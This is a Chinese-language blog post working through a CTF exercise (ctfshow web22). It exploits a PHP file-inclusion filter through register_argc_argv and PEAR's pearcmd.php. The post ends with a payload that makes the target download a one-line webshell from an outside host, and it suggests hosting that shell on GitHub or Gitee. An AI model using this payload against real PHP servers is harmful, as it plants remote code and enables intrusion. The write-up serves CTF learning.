ctfshow 萌新计划web22

题目如下:

<?php
	if(isset($_GET['c'])){
       $c=$_GET['c'];
       if(!preg_match("/\:|\/|\\\/i",$c)){
               include($c.".php");
       		}
	}else{
       	 highlight_file(__FILE__);
	}
?> 

 

此处为文件包含,过滤了: / \

解释一下此处正则表达式\\\的原因

传入三个/ ,经过php解释器后剩余两个,在经过正则解释器,就只剩下一个了

 

 

还是不懂的可以看此处

ps:此处若有错误请帮忙指出

 


 

 

到了此处并没有任何的头绪了,然后查看了别的师傅的wp

 

  • 当php 开启了 register_argc_argv
  • 通过可变信息通过GET方法是类似于参数传递给可执行文件。许多语言处理等方面argc和argv参数。
  • argc是参数计数,并,argv是索引数组,包含的参数。如果您想声明变量$argc和$argv和模仿这种功能,使register_argc_argv。
  • $argc变量是⽤于记录数组的⼤⼩
  • $argv变量是⽤于记录输⼊的参数。

 

我们是可以通过$_GET或者$_POST的⽅式来操控$_SERVER['argv']的值的
但是如果测试可以发现,如果直接传⼊值,⽆论多少个参数,$argc的个数始终是 1

<?php
error_reporting(0);
$a=$_SERVER['argv'];
var_dump($a);
?>

?a=1&b=1
a=1&b=1

?a=1+b=1
a=1
b=1


 Pear的介绍:

pear是一个是可重用的PHP组件框架和系统分发
– 为PHP用户提供开源的结构化代码库
– 便于代码的分发和包的维护
– 标准化PHP的编写代码
– 提供PHP的扩展社区库(PECL)
– 通过网站、邮件列表和下载镜像支持PHP/PEAR社区


在pear中有一个pearcmd.php的类,这里传参c值为pearcmd拼接后面的.php后缀,然后进行下一步的操作。download下载文件从指定服务器

然后可以构造payload:

 ?c=pearcmd&+download+http://xxxxx/1emon/index.php

 

此处是需要一个公网的ip地址的,当我们没有一个ip地址的时候咋办呢

可以使用github或者码云,将一句话上传到上面以后,复制原始数据的连接

然后就可以利用了

 

posted @ 2021-11-21 23:03  p40h33  阅读(628)  评论(0)    收藏  举报